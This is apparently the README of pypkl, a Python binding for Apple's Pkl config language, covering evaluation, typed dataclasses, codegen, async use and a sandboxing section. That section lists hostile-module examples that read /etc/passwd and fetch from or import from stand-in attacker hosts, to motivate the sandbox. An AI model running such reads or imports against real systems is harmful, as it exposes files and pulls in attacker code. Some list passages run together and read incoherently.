Python bindings for Apple’s Pkl configuration language. Write your configuration in Pkl — a real, typed, programmable config language — and read it straight into native Python values.
import pypkl
config = pypkl.evaluate_module("config.pkl")
print(config.name) # attribute access
print(config["name"]) # item access
print(config.to_dict()) # plain nested dict
Pkl is a configuration language: it has types, constraints, functions, templates, and imports,
but it evaluates to plain data. You get the abstraction of code while authoring config, and the
simplicity of data when consuming it.
// app.pkl
class Database {
url: String
poolSize: Int(this > 0) = 8 // typed, with a constraint and a default
}
name: String = "my-service"
port: Int(this >= 1 && this <= 65535) = 8080
replicas: Int = if (read?("prop:environment") == "prod") 5 else 1
database: Database = new { url = "postgres://localhost/mydb" }
cfg = pypkl.evaluate_module("app.pkl")
cfg.port # => 8080
cfg.replicas # => 1
cfg.database.poolSize # => 8 (the class default)
# the -Denvironment=prod equivalent:
with pypkl.Evaluator(properties={"environment": "prod"}) as ev:
cfg = ev.evaluate_module("app.pkl")
cfg.replicas # => 5
What that buys you over a YAML file plus validation code:
poolSize can’t be negative and port must beamends, instead of duplicating YAML. Computed values (if, functions, string interpolation)30.s, 10.mib, 1.gb are first-class — no more guessing whethertimeout: 30 means seconds or milliseconds. They decode to Python objects you can convert.total_seconds(), .to_timedelta())..properties, orPkl is the same engine Apple ships with first-party bindings for
Go, Swift,
Kotlin, and Java. pypkl brings
that to Python, using the same architecture as pkl-go/pkl-swift (see
Architecture).
New to the language itself? The Pkl tutorial
and language reference are the
places to start.
pypkl drives the pkl CLI, so you need it on your PATH:
brew install pkl # macOS / Linux (Homebrew)
# or download a native binary from https://github.com/apple/pkl/releases
# or `mise use pkl@latest`
If pkl lives somewhere off PATH, point pypkl at it with the PKL_EXEC environment variable.
pypkl supports Python 3.10+ and Pkl 0.25+ (a few features need newer Pkl; pypkl tells you which
when you use them — see Capabilities).
import pypkl
# Evaluate a module file into Python values.
config = pypkl.evaluate_module("config.pkl")
print(config.name) # attribute access
print(config["name"]) # item access
print(config.to_dict()) # plain nested dict, recursively
# Evaluate source text directly — handy for tests and one-liners.
cfg = pypkl.evaluate_module_text('greeting = "hello"')
print(cfg.greeting) # => "hello"
# Pull out a single expression instead of the whole module.
port = pypkl.evaluate_module("config.pkl", "server.port") # just the int
These one-shot helpers spawn a fresh pkl server process per call — perfect for a script that loads
config once at startup. If you evaluate repeatedly (a loop, a test suite, a web app), reuse a single
Evaluator instead (see Reusing an evaluator).
A non-scalar Pkl object decodes to a pypkl.Object. Properties are reachable both as attributes and
as items, nested objects come back as nested Objects, and .to_dict() gives you a plain dict all
the way down:
// app.pkl
name = "my-service"
hosts = new Listing { "a.example.com"; "b.example.com" }
database {
url = "postgres://localhost/mydb"
poolSize = 16
}
cfg = pypkl.evaluate_module("app.pkl")
cfg.name # => "my-service"
cfg.hosts # => ['a.example.com', 'b.example.com'] (a list)
cfg.database.url # => "postgres://localhost/mydb"
cfg["database"]["poolSize"] # => 16
"database" in cfg # => True
cfg.to_dict() # => {'name': 'my-service', 'hosts': [...], 'database': {...}}
See Value mapping for the full Pkl→Python type table.
Pkl’s Duration and DataSize carry their unit, so you never have to remember whether a number
meant seconds or milliseconds, bytes or mebibytes:
timeout = 30.s
maxUpload = 10.mib
cfg = pypkl.evaluate_module("app.pkl")
cfg.timeout.total_seconds() # => 30.0
cfg.timeout.to_timedelta() # => datetime.timedelta(seconds=30)
cfg.maxUpload.total_bytes() # => 10485760.0
cfg.maxUpload.to_unit("kb") # => DataSize(10485.76, DataSizeUnit.KILOBYTES)
Pass into= to unmarshal directly into your own (module-level) dataclasses — you get autocomplete,
type-checking, and IDE-friendly attribute access instead of a dynamic Object. Nested dataclasses
are filled recursively, and defaults are honored:
from dataclasses import dataclass
import pypkl
@dataclass
class Database:
url: str
poolSize: int = 8
@dataclass
class AppConfig:
name: str
database: Database
port: int = 8080
with pypkl.Evaluator() as ev:
cfg = ev.evaluate_module("app.pkl", into=AppConfig)
cfg.database.poolSize # => 16, typed as int
isinstance(cfg, AppConfig) # => True
into=<class> is statically typed: the type checker sees AppConfig,
so autocomplete and mypy work — including for the async methods and unmarshal.
By default, unmarshalling is lenient about scalars: a value that doesn’t match a
declared field type (e.g. a string where an int is annotated) passes through
unchanged rather than raising, and Pkl usually enforces the field types server-side
anyway. Pass strict=True to validate every scalar leaf at runtime — including
nested fields and Pkl’s true/1/1.0 distinctness — and raise
PklUnmarshalError on a mismatch:
cfg = ev.evaluate_module("app.pkl", into=AppConfig, strict=True) # runtime-validated
Rather than hand-write dataclasses to mirror a Pkl schema, generate them from the module’s type
declarations — including optionals, unions, Literal[...], inheritance, doc comments (emitted
as docstrings), typealiases (emitted as real Python type aliases), and Pkl defaults (emitted as
real field defaults):
pypkl codegen app.pkl --root-name AppConfig -o config_models.py # or: python -m pypkl.codegen app.pkl …
No install needed if you have uv: uvx pypkl codegen app.pkl -o config_models.py.
For the app.pkl above, that writes:
# config_models.py
# @generated by pypkl codegen. DO NOT EDIT.
# Regenerate from the source Pkl module instead of editing this file by hand.
from __future__ import annotations
from dataclasses import dataclass
@dataclass(kw_only=True)
class AppConfig:
name: str
port: int = 8080
replicas: int = 1
database: Database
@dataclass(kw_only=True)
class Database:
url: str
poolSize: int = 8
Note the root class is named AppConfig (from --root-name) and Database is emitted from its
class declaration. Pkl-side declarations carry over as real Python: a scalar default becomes the
field’s default (= 8, as evaluated at generation time — Duration/DataSize defaults render as
constructor calls), and a typealias becomes a real Python type alias — typealias Port = Int(this > 0) emits Port = int (with the alias’s doc comment) and fields annotate as
port: Port, keeping the name that carries the validation intent. Constraint expressions
(Int(this > 0)) can’t be surfaced — Pkl’s reflection API doesn’t expose them — so an alias or
field of a constrained type expands to plain int: the generated types describe shape, while
Pkl still enforces the constraints at evaluation time.
# Or generate from Python instead of the CLI:
import pypkl
src = pypkl.codegen.generate_schema("app.pkl", root_name="AppConfig")
print(src)
Generate once, commit the output, then evaluate with into= for fully typed config. (For an untyped
module — properties without class/type annotations — use --instance to infer dataclasses from an
evaluated value instead.)
When the schema isn’t known until runtime — you’ve been handed an arbitrary .pkl and want typed
access without a codegen build step — build_dataclasses returns the root dataclass object
directly (nested classes hang off it as field types), ready for into=:
import pypkl
Config = pypkl.codegen.build_dataclasses("app.pkl", root_name="AppConfig")
# A runtime-supplied module is most likely untrusted, so evaluate it sandboxed —
# no filesystem, network, or env access beyond the standard library.
with pypkl.Evaluator.sandboxed() as ev:
cfg = ev.evaluate_module("app.pkl", into=Config) # real dataclass instances, no .py on disk
It’s the runtime counterpart to generate_schema — same reflected schema, so the live types match
the source it would have written (optionals, Literal unions, collection element types, and real
class inheritance included; recursive schemas work too). Prefer committed generate_schema output
when you want editor autocomplete and static type-checking; reach for build_dataclasses when the
module is only known at runtime.
Pkl modules can read external properties (-D) and environment variables, which makes
“one base config, per-environment overrides” a one-liner. Supply them from Python via properties
and env:
// app.pkl
environment = read?("prop:environment") ?? "dev"
port = read?("env:PORT")?.toInt() ?? 8080
replicas = if (environment == "prod") 5 else 1
with pypkl.Evaluator(properties={"environment": "prod"}, env={"PORT": "9000"}) as ev:
cfg = ev.evaluate_module("app.pkl")
cfg.environment # => "prod"
cfg.port # => 9000
cfg.replicas # => 5
For larger setups, prefer Pkl’s own amends/templating to layer environments, and keep Python’s
role to “evaluate and read.” If your repo has a PklProject, Evaluator.for_project(dir) picks up
its settings automatically (see Capabilities).
Sometimes you don’t want Python values — you want the module’s rendered output to hand to another
tool. Set output_format and read the text:
with pypkl.Evaluator(output_format="yaml") as ev:
print(ev.evaluate_output_text("config.pkl")) # the module rendered as YAML
output_format accepts json, yaml, pcf, plist, properties, xml, and more. A module that
defines a multi-file output can be rendered with evaluate_output_files(path) -> {filename: text}.
(Rendering applies Pkl’s own output renderers — some types, like a raw Duration or DataSize,
aren’t directly renderable to YAML/JSON without an output.converters entry in the module.)
evaluate_module treats its argument as a filesystem path. To reach a module by URI — the Pkl
standard library (pkl:), a published package (package://), a URL (https://), or the module
path (modulepath:/) — use evaluate_uri:
# Use a stdlib function:
major = pypkl.evaluate_uri("pkl:semver", expr='Version("1.2.3").major') # => 1
# Evaluate a published package's module:
pkg = pypkl.evaluate_uri("package://example.com/p@1.0.0#/m.pkl")
For full control, pass a pypkl.ModuleSource (.path, .uri, .text, .modulepath) — accepted by
every evaluate_module across the sync, async, and managed evaluators.
The one-shot helpers (evaluate_module / evaluate_module_text / evaluate_uri) spawn a fresh
pkl server per call — fine for a one-off, but in a loop that startup cost dominates. Reuse one
Evaluator to amortize a single server process across many evaluations:
with pypkl.Evaluator() as ev:
for path in paths:
cfg = ev.evaluate_module(path)
...
If the helper calls are scattered across a codebase and threading an Evaluator through is awkward,
pass reuse=True to route them through a lazily-built, process-wide shared evaluator (one server
amortized across calls; rebuilt if it dies, closed at interpreter exit, dropped in a forked child):
for path in paths:
cfg = pypkl.evaluate_module(path, reuse=True) # one shared server, not one per call
It’s opt-in by design: the default per-call spawn stays isolated, since a shared (permissive) server
is a wider, longer-lived surface.
package:// imports are cached so they aren’t re-downloaded on every run. By default pypkl uses
Pkl’s conventional shared cache at ~/.pkl/cache (matching the pkl CLI and pkl-go), so repeated
evaluations — and separate processes — reuse the same downloaded packages:
pypkl.Evaluator() # caches packages in ~/.pkl/cache (default)
pypkl.Evaluator(cache_dir="/tmp/cache") # use a specific directory instead
pypkl.Evaluator(no_cache=True) # disable the on-disk cache (in-memory only)
no_cache=True keeps packages in memory for that evaluator’s lifetime only — nothing is written to
disk, and the next process re-downloads. (Passing both cache_dir and no_cache=True is an error.)
A PklProject’s noCache / moduleCacheDir settings map onto these automatically via for_project.
The evaluators above each manage a pkl server subprocess. Two options control that OS process,
distinct from Pkl’s own env/properties (which feed env:/prop: reads inside a module):
with pypkl.Evaluator(
server_cwd="/srv/config", # working directory of the pkl server process
server_env={"PKL_HOME": "/opt/pkl-home"}, # merged over the inherited environment
) as ev:
...
server_env is layered over the parent environment (so you add to it rather than replacing it);
both default to inheriting the parent process unchanged. They live on the process-owning evaluators
and managers (Evaluator, AsyncEvaluator, EvaluatorManager, AsyncEvaluatorManager) — not on
new_evaluator, which reuses the manager’s existing process.
A Pkl module that fails to evaluate — a type/constraint violation, a missing property, a parse
error — raises pypkl.PklEvalError with Pkl’s formatted message (file, line, and a source pointer).
All pypkl exceptions derive from pypkl.PklError:
try:
cfg = pypkl.evaluate_module("app.pkl")
except pypkl.PklEvalError as e:
print("invalid config:", e)
An Evaluator is thread-safe. Concurrent evaluate_* calls are multiplexed over the single
pkl server process — a background reader thread routes each response back to the waiting caller by
request id. Per-call timeout (seconds) is supported.
from concurrent.futures import ThreadPoolExecutor
with pypkl.Evaluator() as ev:
with ThreadPoolExecutor(max_workers=8) as pool:
configs = list(pool.map(ev.evaluate_module, paths))
AsyncEvaluator is the asyncio-native counterpart — same API, same options, but await-ed.
Concurrent awaits multiplex over the one pkl server process with no threads. It is bound to the
event loop it starts on.
import asyncio
import pypkl
async def main():
async with pypkl.AsyncEvaluator() as ev:
cfg = await ev.evaluate_module("config.pkl")
# Run many evaluations concurrently on the event loop.
results = await asyncio.gather(*(ev.evaluate_module(p) for p in paths))
asyncio.run(main())
AsyncEvaluator and the sync Evaluator share a single sans-I/O protocol core
(pypkl._server.protocol), so they stay behaviorally identical — only the transport differs. (If you
only need to bridge a little Pkl into an async app, wrapping the sync evaluator with
await asyncio.to_thread(ev.evaluate_module, path) also works and needs no separate evaluator.)
Pkl emits trace(...) output and warnings (e.g. deprecations) as log messages. As in pkl-go, these
are discarded by default (NoopLogger). Pass a logger to surface them:
# Print to stderr, formatted as `pkl: WARN: <message> (<frame>)`.
ev = pypkl.Evaluator(logger=pypkl.StderrLogger())
# Or any stream / a callback / collect in memory.
ev = pypkl.Evaluator(logger=pypkl.StreamLogger(open("pkl.log", "w")))
ev = pypkl.Evaluator(logger=pypkl.CallbackLogger(lambda level, msg, frame: ...))
collected = pypkl.CollectingLogger()
ev = pypkl.Evaluator(logger=collected) # collected.entries / collected.messages
Implement pypkl.Logger (trace(message, frame_uri) / warn(...)) for custom handling.
| Pkl | Python |
|---|---|
| Int, Float, String, Boolean, Null | int, float, str, bool, None |
| List, Listing | list |
| Set | pypkl.PklSet |
| Map, Mapping | dict |
| Pair | tuple |
| Bytes | bytes |
| Typed / Dynamic objects, modules | pypkl.Object |
| Duration, DataSize | pypkl.Duration, pypkl.DataSize |
| IntSeq, Regex, Class, TypeAlias | pypkl.IntSeq, pypkl.Regex, … |
A Pkl Set maps to pypkl.PklSet — an immutable, hashable set that preserves uniqueness and
membership even when its elements are themselves unhashable (Lists, Maps, Objects), which a
plain Python set cannot hold. Equality is PklSet-to-PklSet only — a plain set/frozenset never
compares equal, because its hash is blind to Pkl’s true/1/1.0 distinctness and cross-type
equality would break the a == b ⟹ hash(a) == hash(b) invariant. Membership still works naturally,
and set(pkl_set) gives a lossy plain-set view (collapsing Pkl-distinct values) when you need one:
s = pypkl.evaluate_module_text("x = Set(1, 2, 3)", expr="x")
s == {1, 2, 3} # False — equality is PklSet-to-PklSet only
set(s) == {1, 2, 3} # True — lossy plain-set view
2 in s # True — membership works naturally
Map/Mapping decode to dict, including those with non-primitive keys — a Map keyed by
Lists, Objects, or other Maps. Object is hashable (by structure), so List keys become
tuples and object keys can be looked up with an equal Object. (pypkl.Object is also usable
directly as a dict key or set member.)
Duration and DataSize carry a typed unit (pypkl.DurationUnit / pypkl.DataSizeUnit, each a
str enum with conversion factors) and support conversions:
d = pypkl.Duration(90.0, "s")
d.total_seconds() # 90.0
d.to_unit("min") # Duration(1.5, DurationUnit.MINUTES)
d.to_timedelta() # datetime.timedelta(seconds=90)
s = pypkl.DataSize(1.0, "gb")
s.total_bytes() # 1_000_000_000
s.to_unit("mib") # DataSize(953.674…, DataSizeUnit.MEBIBYTES)
str(s) # "1.gb"
By default an Evaluator is permissive, matching pkl-go: the allow-lists let a module reach
file:, http:/https:, env:, prop:, and package:, and there is no evaluation timeout.
That is convenient for your own config, but unsafe for input you do not control. A hostile module
can:
read("file:///etc/passwd");read("https://attacker/…");import "package://attacker.example/evil@1.0.0" downloads and(Environment variables and external properties are not exposed despite env:/prop: being
allow-listed: env/properties default to empty, so those reads return nothing unless you populate
them.)
For untrusted input, use Evaluator.sandboxed() — it permits only the standard library (pkl:) and
the text REPL (repl:text), denies all resources, and sets a 30-second timeout:
import pypkl
with pypkl.Evaluator.sandboxed() as ev:
ev.evaluate_module_text(untrusted_source) # no file / network / package access
# Tune the timeout, or deliberately reopen a hole you need:
with pypkl.Evaluator.sandboxed(timeout_seconds=5) as ev:
...
AsyncEvaluator.sandboxed() is the async equivalent (use it with async with). For an
EvaluatorManager, pass the same restrictions to new_evaluator(...):
allowed_modules=["pkl:", "repl:text"], allowed_resources=[], timeout_seconds=….
Note that Evaluator.for_project(...) and with_dependencies=True execute the project’s Pkl code
(and apply its evaluatorSettings), so only point them at projects you trust.
Beyond the day-to-day surface above, pypkl covers the full first-party message-passing binding
feature set:
evaluate_output_text, with anoutput_format of json/yaml/pcf/…). Modules come from a file path, inline text, or any URIpkl:, package://, https://, modulepath:/) via evaluate_uri / ModuleSource.output.*: evaluate_output_files(path) -> dict[str, str] renders a module’sevaluate_output_value and the Pkl-0.29+evaluate_output_bytes / evaluate_output_files_bytes.Evaluator, asyncio-native AsyncEvaluator, and EvaluatorManager /AsyncEvaluatorManager to host many evaluators on one pkl server process — all sharing oneevaluate_module(path, into=MyDataclass) unmarshals the result into yourallowed_modules/allowed_resources, env, properties, module_paths,output_format, timeout_seconds, root_dir, cache_dir/no_cache, http (Http/Proxy),trace_mode ("compact"/"pretty", Pkl 0.30+); plus server_cwd/server_env to control thepkl server process itself (see Package caching andpkl --version check at startupcheck_version=False) that also gates per-feature minimums — http (0.26), externaltrace_mode (0.30) — with a clear error naming the option and the version it needs,ResourceReader/ModuleReader to resolve custom read("scheme:…") /import("scheme:…") URIs from Python. In async mode they may be async def (awaited) or sync (runrun_external_reader(...) runs pypkl as a Pkl external reader subprocess.new_evaluator(logger=…, resource_readers=…)).external_module_readers / external_resource_readers (dict[str, ExternalReader], keyed byEvaluator / AsyncEvaluator / new_evaluator. Each scheme is auto-allow-listed.PklProjectevaluatorSettings.external{Module,Resource}Readers map automatically via for_project.Evaluator.for_project(dir) applies a project’s evaluatorSettings (allow-lists,noCache, http proxy/rewrites,traceMode, and external readers); pass with_dependencies=True (off by default) to resolve@dependency imports (local deps from disk; remote packages downloaded by the pkl server, withPklProject.deps.json).pypkl.codegen.generate_schema(path) emits Python @dataclass(kw_only=True)es from apkl:reflect) — capturing optionals (T | None, defaulting toNone), unions / string-literal unions (Literal[...]), collection element types, classclass Dog(Animal):, emitted parent-first), doc comments (as class and per-field@Deprecated (as a # deprecated: field comment). generate(value) is theinto= for typed evaluation. Alsopypkl codegen <module> -o <dir> (the pypkl console script, also runnable aspython -m pypkl.codegen or uvx pypkl codegen …). For schemas only known at runtime,pypkl.codegen.build_dataclasses(path) materializesev = pypkl.Evaluator(timeout_seconds=30, output_format="yaml")
with pypkl.EvaluatorManager() as mgr: # many evaluators, one process
a, b = mgr.new_evaluator(), mgr.new_evaluator()
class DbReader(pypkl.ResourceReader): # custom read("db:…")
scheme = "db"
def read(self, uri: str) -> bytes: ...
These bindings talk to (and manage the lifecycle of) a long-lived pkl server subprocess over Pkl’s
message-passing API
(MessagePack over stdin/stdout), and decode evaluation results from the
pkl-binary encoding
into native Python values. This mirrors how the first-party bindings (pkl-go, pkl-swift, …) work.
pypkl is a message-passing binding — the same pkl server + MessagePack architecture as
pkl-go and pkl-swift, not a port of the in-process pkl-config-java library. Much of the Java
surface — ValueMapper/converters, generated getters, SecurityManager /
StackFrameTransformer / ModuleKeyFactory objects, the HttpClient’s connect/request timeouts and
user-agent, color, powerAssertions, evaluateTest / evaluateCommand — is handled server-side
or is a CLI/JVM in-process concern, and is intentionally out of scope.
Everything that is expressible over the protocol and implemented by the sibling message-passing
bindings pkl-go / pkl-swift is implemented here too — multi-file output, codegen inheritance
/ docstrings / @Deprecated / optional defaults, a codegen CLI, trace_mode, the full PklProject
evaluatorSettings mapping, and per-feature version gating. (Cross-checked against pkl-swift, which
uses pypkl’s exact architecture.) Verified complete: the pkl-binary decoder, all 19 message-passing
codes, reader specs, and the core evaluator options — in fact pypkl decodes
Pair/IntSeq/Regex and non-primitive Map keys that pkl-swift does not. It also carries the
spec’s glob-pattern Http.headers (_server/protocol.py), which neither pkl-go nor pkl-swift
implements.
uv sync --extra dev
uv run pytest # requires the `pkl` CLI (hard requirement — the run aborts without it)
uv run ruff check .
uv run mypy
The test suite treats the pkl binary as a hard development requirement: the
differential/value oracles (conformance, corpus, reader round-trips) must run,
not silently skip, so a missing binary fails the session at start instead of
producing a green-but-hollow run. Install Pkl as shown above or set PKL_EXEC.
pytest -m "not pkl_required" selects the pure-unit subset for speed — the
binary must still be installed.
Covers the core first-party binding capabilities (evaluation, concurrency, options, readers, project
settings, codegen). The Known gaps section tracks what’s
still missing relative to pkl-go / pkl-swift / pkl-config-java; remaining work beyond that is
release hygiene.
Supports Python 3.10+. enum.StrEnum (3.11) is shimmed for 3.10, and request timeouts are
normalized to the builtin TimeoutError (a distinct class from concurrent.futures/asyncio’s
before 3.11). The full suite passes on 3.10 and 3.14.
I’m not associated with Apple or Pkl in any way — I just think it’s neat.